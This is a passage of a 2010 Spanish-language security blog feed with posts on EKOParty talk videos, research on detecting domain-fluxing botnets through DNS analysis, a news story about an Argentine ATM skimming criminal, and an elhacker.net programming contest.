width="400"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href="http://vimeo.com/16530270"&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;b&gt;Padding Oracles Everywhere&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder="0" height="225" src="http://player.vimeo.com/video/15454510" width="400"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href="http://vimeo.com/15454510"&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;b&gt;Transfering files on isolated remote desktop environments&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder="0" height="225" src="http://player.vimeo.com/video/16528267" width="400"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href="http://vimeo.com/16528267"&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;b&gt;Jackpotting Automated Teller Machines&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder="0" height="225" src="http://player.vimeo.com/video/16522572" width="400"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href="http://vimeo.com/16522572"&gt;&lt;br /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1547170927549978957-7873350269580218739?l=www.needofsecurity.com.ar' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.needofsecurity.com.ar/feeds/7873350269580218739/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.needofsecurity.com.ar/2010/11/todas-las-charlas-de-la-ekoparty-2010.html#comment-form" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/7873350269580218739" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/7873350269580218739" /><link rel="alternate" type="text/html" href="http://www.needofsecurity.com.ar/2010/11/todas-las-charlas-de-la-ekoparty-2010.html" title="Todas las charlas de la EKOParty 2010 en video!" /><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_i-43lFP4TnI/TNbZFMD6OTI/AAAAAAAAAFA/qYYWYP72l10/s72-c/Logo-Ekoparty.jpg" height="72" width="72" /><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-493840195053429324</id><published>2010-11-05T14:49:00.003-03:00</published><updated>2010-11-23T03:13:45.571-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Conficker" /><category scheme="http://www.blogger.com/atom/ns#" term="Seguridad informatica" /><category scheme="http://www.blogger.com/atom/ns#" term="malware" /><category scheme="http://www.blogger.com/atom/ns#" term="botnets" /><category scheme="http://www.blogger.com/atom/ns#" term="bot" /><title type="text">Nuevas tecnicas para descubrir botnets sigilosas.</title><content type="html">Investigadores de seguridad han implementado un nuevo método para descubrir botnets que tratan de esconderse detrás de nombres alternativos de dominio.&lt;br /&gt;&lt;br /&gt;&lt;span class="smalltext"&gt;Supranamaya Ranjan afirma que el y su equipo han&amp;nbsp; para detectar botnets tal como las de Conficker, Kraken y Torping, que utilizan una técnica denominada &lt;i&gt;DNS domain-fluxing&lt;/i&gt;&lt;/span&gt; para su infraestructura C&amp;amp;C (Command &amp;amp; Control).&lt;br /&gt;Domain-fluxing, también conocido como &lt;span class="smalltext"&gt;&lt;i&gt;domain generation algorithm &lt;/i&gt;(DGA), genera en forma aleatoria nombres de dominio; el bot realiza peticiones a una serie de nombres de dominio, pero el dominio registrado es solo uno. Para llegar al C&amp;amp;C, los investigadores de las botnets generalmente deben realizar ingeniería inversa al malware bot y descubrir cuales son los dominios generados en forma regular. Un proceso que lleva tiempo y recursos en pos de obtener todos los nombres de dominios que van a ser registrados por la botnet, para poder adelantarse y registrarlos y lograr así un pie dentro de la botnet.&lt;br /&gt;&lt;br /&gt;Ranjan dice:&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class="smalltext"&gt;"Botnets such as Kraken, Conficker, and Torpig  came up with domain fast-flux, where even the domain name that each bot  queries for is randomly generated,&lt;br /&gt;Each bot queries for  tens of thousands of domain names hoping that the botnet operator has  registered for at least one of them via DNS. Now consider security  vendors, who in this situation have no way of predicting which DNS  queries are related to a botnet."&lt;/span&gt;&lt;/blockquote&gt;&lt;span class="smalltext"&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;Ranjan, desarrollo un método para estudiar en tiempo real el trafico DNS para la actividad de domain-fluxing. Los investigadores presentaron sus descubrimientos en la conferencia "ACM Measurement" en Melbourne.&lt;br /&gt;El método basicamente mira el patrón y distribución de los caracteres alfabéticos en un nombre de dominio para determinar cuales son maliciosos y cuales reales. Esto permite descubrir a los dominios generados &lt;/span&gt;&lt;span class="short_text" id="result_box" lang="es"&gt;&lt;span title=""&gt;algorítmicamente&lt;/span&gt;&lt;/span&gt;&lt;span class="smalltext"&gt; por la botnet.&lt;br /&gt;&lt;br /&gt;El domain-fluxing dificulta el rastreo de las botnets, haciendo el trabajo mas dificil para los investigadores.&lt;br /&gt;Jose Nazario -Senior security researcher en Arbor Networks- dice:&lt;br /&gt;&lt;/span&gt;&lt;span class="smalltext"&gt; "This [domain-fluxing] is obviously a defensive  headache for us, but for the attacker it exposes possible future rally  points that the good guys can block. &lt;br /&gt;We expect this trend to continue, so the  work [here] makes sense: speed up the identification of these in the  malcode analysis steps or from packet traces, making analysis more  efficient."  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Conficker-A, por ejemplo, genera unos 250 dominios diferentes cada 3 horas utilizando la fecha actual y el tiempo (UTC). Los creadores del conficker aumentaron la cifra con Conficker-C, generando acerca de 50.000 nombres de dominio por bot, haciendo mas difícil que los investigadores puedan pre-registrarlos&lt;br /&gt;&lt;br /&gt;Este no es el único método para rastrear estas sigilosas botnets. Gunter Ollman, vice presidente de investigación en Damballa, dice que un &lt;a href="http://www.usenix.org/events/sec10/tech/full_papers/Antonakakis.pdf"&gt;método basado en un sistema de reputación dinámica&lt;/a&gt; desarrollado por investigadores en Georgia Tech funciona bien.&lt;br /&gt;Ollman dice:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class="smalltext"&gt; "This is probably the most advanced assisted  machine-learning approach to the problem. It doesn't require  seeing copies of the malware to detect the botnets using domain-fluxing"&lt;/span&gt;&lt;/blockquote&gt;&lt;span class="smalltext"&gt;&lt;br /&gt;Otra tecnica utilizada por Damballa utiliza el llamado &lt;i&gt;análisis NX Domain.&lt;/i&gt; Ollman dice que es utilizada desde el 2009. Cuando un dominio generado no existe, el TLD name server responde con una respuesta NX, lo cual implica que el dominio no existe.&lt;br /&gt;Ollman dice&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class="smalltext"&gt;"It's relatively simple to detect at the network  level the fluxing attempts by the malware to located these dynamically  generated domains, and to also see the number/heuristics of the NX  Domain responses from the DNS servers."&lt;/span&gt;&lt;br /&gt;&lt;span class="smalltext"&gt;"Simple  machine-learning algorithms are trained using known data sets for an  assortment of malware samples, and the system then automatically detects  new, known or suspicious malware infections. The clustering algorithms  automatically identify the malware family."&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/blockquote&gt;Narus' Ranjan dice que el análisis NX Domain esta limitado en que solo puede encontrar anomalías DNS, cuando muchas peticiones DNS retornan mensajes de fallo, por ejemplo, Ranjan dice:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class="smalltext"&gt;"So they may be used as a first signal for  detecting domain flux. Our methodology goes one step further and we can  distinguish between cases of legitimate queries that are returning  failure responses -- due to network failures -- versus domain flux  queries,"&lt;/span&gt;&lt;/blockquote&gt;El dice que su método difiere del de Georgia Tech en que utiliza estadísticas mas detalladas acerca de los nombres de dominio.&lt;br /&gt;&lt;br /&gt;Algunas botnets utilizan tanto &lt;i&gt;domain fast-flux&lt;/i&gt; como &lt;i&gt;IP fast-flux&lt;/i&gt;. IP fast-flux es un método donde los bots infectados sirven como proxies o host para webs maliciosas y están en constante rotación cambiando sus registros DNS para prevenir ser descubiertas por los investigadores, ISPs, o autoridades policiales. Ranjan dice que su método de detección también funciona para detectar &lt;i&gt;IP fast-flux&lt;/i&gt;.&lt;br /&gt;&lt;br /&gt;Mientras probaban este prototipo contra trafico en vivo, los investigadores han descubierto nuevo comportamiento en una botnet que han denominado "Storm2.0". &lt;span class="" id="result_box" lang="es"&gt;&lt;span title=""&gt;La asignación de nombres de dominio a la dirección de C&amp;amp;C IP del servidor se compone de dos palabras del idioma Inglés. Un comportamiento similar es observado en la original botnet "Storm", donde los nombres de dominio estaban compuestos de una palabra del idioma Inglés y una cadena generada en forma aleatoria.&lt;br /&gt;&lt;br /&gt;Ranjan dice que las organizaciones necesitan incorporar este tipo de análisis en pos de dar batalla a las botnets.&lt;br /&gt;Ranjan dice:&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="smalltext"&gt; "A system such as ours should be the first  alarm that goes off whenever a new domain fast-flux botnet becomes  active. After that an organization can take steps to capture the traffic  corresponding to the IP addresses suspected to harbor such bots and  examine them further to develop signatures. &lt;br /&gt;But not the other  way around, where previously researchers had to scramble to discover  the exact algorithm used by Conficker and only then did they register  all the domain names that Conficker was going to query for."&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Detalles técnicos de la investigación están disponibles &lt;a href="https://3660604843164671697-a-1802744773732722657-s-sites.googlegroups.com/site/soupsranjan/files/imc104-yadav.pdf"&gt;aquí.&lt;/a&gt;&lt;span class="" id="result_box" lang="es"&gt;&lt;span title=""&gt;&lt;br /&gt;&lt;br /&gt;Fuente: DarkReading&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1547170927549978957-493840195053429324?l=www.needofsecurity.com.ar' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.needofsecurity.com.ar/feeds/493840195053429324/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.needofsecurity.com.ar/2010/11/nuevas-tecnicas-para-descubrir-botnets.html#comment-form" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/493840195053429324" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/493840195053429324" /><link rel="alternate" type="text/html" href="http://www.needofsecurity.com.ar/2010/11/nuevas-tecnicas-para-descubrir-botnets.html" title="Nuevas tecnicas para descubrir botnets sigilosas." /><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-9018898869073992398</id><published>2010-11-04T14:22:00.001-03:00</published><updated>2010-11-04T14:22:23.432-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Novedades" /><category scheme="http://www.blogger.com/atom/ns#" term="twitter" /><title type="text">¡Estrenamos Twitter!</title><content type="html">A partir de ahora, nos podes seguir en twitter desde &lt;a href="http://twitter.com/needofsecurity"&gt;http://twitter.com/needofsecurity&lt;/a&gt; y podras enterarte todo desde allí.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://twitter.com/needofsecurity"&gt;&lt;img src="http://www.twitterbutton.com/images/buttons/button_new19a.png" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1547170927549978957-9018898869073992398?l=www.needofsecurity.com.ar' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.needofsecurity.com.ar/feeds/9018898869073992398/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.needofsecurity.com.ar/2010/11/estrenamos-twitter.html#comment-form" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/9018898869073992398" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/9018898869073992398" /><link rel="alternate" type="text/html" href="http://www.needofsecurity.com.ar/2010/11/estrenamos-twitter.html" title="¡Estrenamos Twitter!" /><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-9028258449107551194</id><published>2010-11-03T21:33:00.003-03:00</published><updated>2010-11-23T03:21:14.256-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="inseguridad" /><category scheme="http://www.blogger.com/atom/ns#" term="Historias" /><category scheme="http://www.blogger.com/atom/ns#" term="Skimming" /><title type="text">[Historias] El rey de los cajeros.</title><content type="html">&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_i-43lFP4TnI/TNH8_bwFPBI/AAAAAAAAAEs/SYvZtc_VinQ/s1600/a72f03_robocajero.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_i-43lFP4TnI/TNH8_bwFPBI/AAAAAAAAAEs/SYvZtc_VinQ/s1600/a72f03_robocajero.jpg" /&gt;&lt;span id="goog_1861297741"&gt;&lt;/span&gt;&lt;span id="goog_1861297742"&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;Los cajeros automáticos suelen ser motivo de atención para una gran variedad de delincuentes, desde simples asaltantes hasta organizaciones mafiosas.&lt;br /&gt;La metodología de robo y estafa puede ser un tanto rustica o un poco mas elaborada. Algunos malvivientes optan por esperar a la salida del cajero a que las victimas terminen de retirar su dinero, otros secuestran personas - a veces con inteligencia mediante para conseguir un objetivo adinerado o simplemente al azar- para obligarlos a retirar dinero del cajero. &lt;br /&gt;Otros, un tanto mas ingeniosos, obstaculizan la salida del dinero con una cinta u barra solida oscura, para que la victima piense que hay algún problema con su cuenta e ingrese al banco a quejarse. En el lapsus de tiempo que el cajero queda vacio mientras la victima se queja, el malviviente ingresa al cajero y destapa la salida del dinero para retirar lo que antes , se creyó, no había salido en primera instancia.&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;Otros, con mas esfuerzo y un tanto mas de ingenio, implantan cajeros falsos en lugares donde las victimas adineradas abunden. Esquinas de casinos, casas de cambio u de apuestas, estaciones de servicio etc. Lugares donde uno pueda clonar las suficientes tarjetas en el menor tiempo posible.&lt;br /&gt;Los delincuentes optan ya sea por vaciar las cuentas, o bien vender los datos al mejor postor. Otros optan por clonar los datos y venderlos, otros hacen compras por internet, etc.&lt;br /&gt;Estas claves, como verán, pueden terminar en una variedad de destinos bastante extensa, pero su perdida ocasiona para las  victimas una sola consecuencia: La perdida de dinero y tiempo.&lt;br /&gt;&lt;br /&gt;No obstante, algunos deciden dar un paso mas alla e implementar sistemas de robo mas sofisticados. Eso fue lo que hizo &lt;b&gt;Fernando Gabriel Pereiro&lt;/b&gt;, denominado "El rey de los robos a los cajeros automáticos".&lt;br /&gt;Este delincuente de 31 años, inicio su carrera criminal a los 23. En ese momento clonaba tarjetas de credito de American Express, las cuales vendía y/o utilizaba para sus propios fines. Para ello, se habia valido de un dispositivo que copiaba la banda magnética del plastico original.&lt;br /&gt;&lt;br /&gt;Con el correr de los años, Fernando perfecciono su sistema de estafa para igualarlo con los sistemas que ya se usaban en Brasil y en otras partes del mundo, fraude conocido como &lt;a href="http://es.wikipedia.org/wiki/Skimming_%28fraude%29"&gt;&lt;b&gt;Skimming&lt;/b&gt;&lt;/a&gt;. Este contaba con un falso teclado que registraba y guardaba las claves, y un dispositivo que se instalaba en la ranura donde se ingresa la tarjeta para copiar la banda magnética de la misma. Solo quedaba instalar los dispositivos, dejar pasar el tiempo, y luego ingresar una tarjeta virgen para cargar los datos que habían sido guardados y utilizarlos para su enriquecimiento personal.&lt;br /&gt;&lt;br /&gt;El problema que tenían -y tienen- las autoridades con este sistema, es que era casi imposible saber donde los datos habían sido clonados. Dado esto, las autoridades tuvieron que disponer de un equipo especial para recibir las solicitudes y quejas de las victimas, para de esta forma tener una noción de la zona en la cual Fernando Pereiro estaba &lt;i&gt;trabajando&lt;/i&gt;. &lt;br /&gt;&lt;br /&gt;Las primeras pistas comenzaron a aparecer en septiembre del 2005. Fernando había instalado su sistema en un cajero ubicado en las inmediaciones de los tribunales de San Nicolas, en donde pudo reunir unas 974 claves y hacerse de 250 mil pesos. En la lista de victimas se encontraba un juez, funcionarios de la Justicia, policías y hasta un sacerdote.&lt;br /&gt;Según el reporte de Migraciones, Fernando viajo con su familia a Europa y Medio Oriente, poco se sabe si fue viaje de &lt;i&gt;negocios&lt;/i&gt; o de placer.&lt;br /&gt;A su regreso, volvio a sus respectivas actividades delictivas. &lt;br /&gt;&lt;br /&gt;Como la mayoría de delincuentes de este tipo, por suerte cometen errores. Errores que por su simpleza nos hacen pensar que tal vez no sean tan inteligentes como uno piensa, o peor aun, que se sientan impunes.&lt;br /&gt;Fernando tenia una pasión y un gusto bastante exacerbado por los vehículos de alta categoría. Esto lo llevo a adquirir una camioneta 4x4 Lincoln Navigator.&lt;br /&gt;Tal vez, el razonamiento que lo llevo a moverse en un vehículo tan exclusivo fue el pensar que al ser tan caro iba a llamar menos la atención, pero lamentablemente para el fue todo lo contrario.&lt;br /&gt;&lt;br /&gt;Los investigadores ya lo tenían en la mira, y se habían enterado de la adquisición de esta camioneta. El resultado fue un espectro de vehículos a buscar mucho, muchísimo, mas estrecho, ya que solo había 4 camionetas iguales en el país. &lt;br /&gt;El 8 de diciembre de 2008, un móvil de la Comisaría 16ª advirtió el paso  de su 4x4 e inició una persecución que terminó en la esquina de Brasil y  Tacuarí, en el barrio porteño de Monserrat. Fernando Pereiro se estrelló contra  un poste y fue detenido. &lt;br /&gt;&lt;br /&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_i-43lFP4TnI/TNH-pTgnAWI/AAAAAAAAAE4/PADTp2qZTa8/s1600/atrap.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="240" src="http://4.bp.blogspot.com/_i-43lFP4TnI/TNH-pTgnAWI/AAAAAAAAAE4/PADTp2qZTa8/s320/atrap.jpg" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Fernando Gabriel Pereiro atrapado. Clarin.&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;Todo apuntaba a que su carrera criminal había terminado, pero 1 año después, fingió una dolencia pulmonar que obligo a que sea trasladado al &lt;b&gt;Hospital Argerich&lt;/b&gt;, donde pudo fugarse. &lt;br /&gt;10 meses transcurrieron desde su fuga, pero recién trascendió esta semana, cuando la División de Delitos Bancarios pidió su captura internacional.&lt;br /&gt;&lt;br /&gt;Se investiga si los guardias que lo trasladaron al hospital tuvieron que ver en su fuga, pero la duda principal es porque se tardo tanto en dar el alerta y pedir su captura.&lt;br /&gt;Hoy por hoy, 10 meses después, Fernando Gabriel Pereiro pudo haber cambiado de apariencia, haber viajado a la otra punta del mundo, e incluso instalado su sistema de fraude en otros cajeros automáticos. Por supuesto, tuvo -y tiene- tiempo suficiente para perfeccionarlo.&lt;br /&gt;Historia de un delincuente de guante blanco, que mantiene en vilo a la justicia Argentina desde hace 5 años.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1547170927549978957-9028258449107551194?l=www.needofsecurity.com.ar' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.needofsecurity.com.ar/feeds/9028258449107551194/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.needofsecurity.com.ar/2010/11/historias-el-rey-de-los-cajeros.html#comment-form" title="1 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/9028258449107551194" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/9028258449107551194" /><link rel="alternate" type="text/html" href="http://www.needofsecurity.com.ar/2010/11/historias-el-rey-de-los-cajeros.html" title="[Historias] El rey de los cajeros." /><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_i-43lFP4TnI/TNH8_bwFPBI/AAAAAAAAAEs/SYvZtc_VinQ/s72-c/a72f03_robocajero.jpg" height="72" width="72" /><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-6201811546300958840</id><published>2010-10-22T04:50:00.005-03:00</published><updated>2010-12-12T12:41:41.387-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="elhacker.net" /><category scheme="http://www.blogger.com/atom/ns#" term="programacion" /><category scheme="http://www.blogger.com/atom/ns#" term="Novedades" /><title type="text">[Ehn-Dev 2010] - Concurso de desarrollo de aplicaciones @ elhacker.net</title><content type="html">&lt;div class="post" style="overflow: auto; width: 100%;"&gt;&lt;div align="center"&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img alt="" border="0" height="83" src="http://img822.imageshack.us/img822/7026/sinttulo1ku.png" width="320" /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;div align="center"&gt;&lt;span style="font-size: small; text-decoration: underline;"&gt;&lt;b&gt;&lt;span style="line-height: 1.3em;"&gt;Concurso de desarrollo de aplicaciones&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;Llego  el dia del concurso. Esta es la oportunidad para comenzar a desarrollar  lo que gusten en el lenguaje que deseen y demostrar lo que pueden  hacer.&lt;br /&gt;Es una competencia, pero la idea principal es divertirse,  pasarla bien, y aprender entre todos con los proyectos que se expongan.&lt;br /&gt;&lt;b&gt;Cualquiera&lt;/b&gt;, y repito, &lt;b&gt;cualquiera&lt;/b&gt; puede participar. No hace falta ser ningún guru en ningún lenguaje, solo tener un poco de imaginación y ganas de programar. &amp;nbsp;&lt;img alt=":D" border="0" src="https://foro.elhacker.net/Smileys/chef/cheesy.gif" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: 15pt; line-height: 1.3em;"&gt;&lt;b&gt;Premios&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul style="margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;li&gt;&lt;span style="font-size: 11pt; line-height: 1.3em;"&gt;&lt;span style="color: red;"&gt;&lt;b&gt;Primer puesto&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;: &lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Directo de &lt;a href="http://www.zazzle.es/elhackernet" target="_blank"&gt;la tienda oficial de elhacker.net&lt;/a&gt;, &lt;b&gt;una alfombrilla de ratón&lt;/b&gt; con la posibilidad de elegir entre &lt;b&gt;dos diseños&lt;/b&gt;!&lt;br /&gt;&lt;br /&gt;&lt;img alt="" border="0" src="http://img409.imageshack.us/img409/2310/dibujogvt.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul style="margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;li&gt;&lt;span style="font-size: 10pt; line-height: 1.3em;"&gt;&lt;span style="color: red;"&gt;&lt;b&gt;Segundo puesto:&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;: Una cuenta de @elhacker.net!&lt;/li&gt;&lt;li&gt;&lt;span style="font-size: 9pt; line-height: 1.3em;"&gt;&lt;span style="color: red;"&gt;&lt;b&gt;Tercer puesto:&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;: Una cuenta de @elhacker.net!&lt;/li&gt;&lt;li&gt;&lt;b&gt;El resto&lt;/b&gt;: Haberse &lt;b&gt;divertido&lt;/b&gt; en el desarrollo y de seguro haber aprendido &lt;b&gt;algo nuevo&lt;/b&gt;. Y por supuesto, la satisfacción de pasar un buen rato programando y &lt;b&gt;compartiendo sus experiencias&lt;/b&gt; con la comunidad.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: 12pt; line-height: 1.3em;"&gt;&lt;b&gt;Bases del concurso:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Para  participar hay que desarrollar una herramienta y presentarla junto con  su código correspondiente. Tanto el objetivo de la aplicacion como el  lenguaje a utilizar son de libre elección, por lo tanto hay basicamente  una gran libertad para desarrollar lo que sea respecto del área que mas  les agrade a cada uno.&lt;br /&gt;&lt;br /&gt;Por supuesto, la aplicacion debe ser open  source, ya que de esta forma podemos apreciar el espectro completo de la  herramienta al poder ver su codigo completamente.&lt;br /&gt;&lt;br /&gt;El post para participar debe tener una estructura similar a esta:&lt;br /&gt;&lt;br /&gt;&lt;ul style="margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;li&gt;Nombre del autor&lt;/li&gt;&lt;li&gt;Nombre de la herramienta&lt;/li&gt;&lt;li&gt;Lenguaje(s) en los que está diseñado&lt;/li&gt;&lt;li&gt;Descripción del trabajo&lt;/li&gt;&lt;li&gt;Link de descarga que contendrá el código fuente y el archivo ejecutable&lt;/li&gt;&lt;li&gt;Captura de pantalla (en el caso de tener interfaz)&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Es  altamente recomendable que junto con la descarga del código y del  ejecutable haya un archivo readme que contenga las instrucciones que  sean necesarias que por motivos de espacio hayan quedado fuera del post  de participación. &lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: 12pt; line-height: 1.3em;"&gt;&lt;b&gt;Plazos de participación:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;El  periodo de entrega de las aplicaciones comienza el día 23 de noviembre y  finalizara el día 30 de noviembre, por lo tanto hasta que comience el  periodo de entrega he creado &lt;b&gt;&lt;a href="https://foro.elhacker.net/programacion_general/ehndev_2010_faq_hilo_para_preguntar_todas_las_dudas_acerca_del_concurso-t308346.0.html" target="_blank"&gt;este hilo&lt;/a&gt;&lt;/b&gt; para que los que tengan dudas respecto del concurso puedan preguntarlas allí.&lt;br /&gt;&lt;br /&gt;El  dia 23 de noviembre, este hilo sera reabierto y solo la publicación de  las aplicaciones sera aceptada. Al finalizar el periodo de entrega, el  día 30 de noviembre, comenzaran las votaciones que duraran 2 semanas  completas.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: 12pt; line-height: 1.3em;"&gt;&lt;b&gt;Votaciones:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Al  comenzar el periodo de votación, los usuarios tendrán la chance de  elegir la aplicacion que mas les guste durante el periodo expuesto.  Finalizado el periodo, no se podrán emitir mas votos.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Menciones especiales:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Habrá dos menciones especiales:&lt;br /&gt;&lt;br /&gt;&lt;ul style="margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;li&gt;Premio a la innovación.&lt;/li&gt;&lt;li&gt;Premio al mejor código.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Cada  mención otorga +5% extra calculado mediante los votos totales de la  encuesta, pudiendo obtener un +10% extra si se obtienen ambas menciones.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Los moderadores de las secciones de programacion, junto con los miembros del staff&lt;/b&gt;,  son los que deciden estas dos menciones especiales. Por supuesto nadie  podrá votar su propia aplicacion para ninguna mención especial y quien  quiera puede abstenerse de votar.&lt;br /&gt;&lt;br /&gt;Deberán enviarme un pm con una estructura similar a:&lt;br /&gt;&lt;br /&gt;&lt;ul style="margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;li&gt;Premio a la innovación: Nombre del autor - nombre de la aplicación.&lt;/li&gt;&lt;li&gt;Premio al mejor código: Nombre del autor - nombre de la aplicación.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Pudiendo  dejar en blanco alguno de los dos campos. En el caso de no decidirse  por ningún candidato, simplemente no enviar el pm. &lt;br /&gt;&lt;br /&gt;El periodo  para enviar los votos para la mención especial finaliza el mismo día que  las votaciones generales, ese día haré el recuento y el ganador  obtendrá su +5%/+10% sumado a los votos que ya tenga en la encuesta  general.&lt;br /&gt;&lt;br 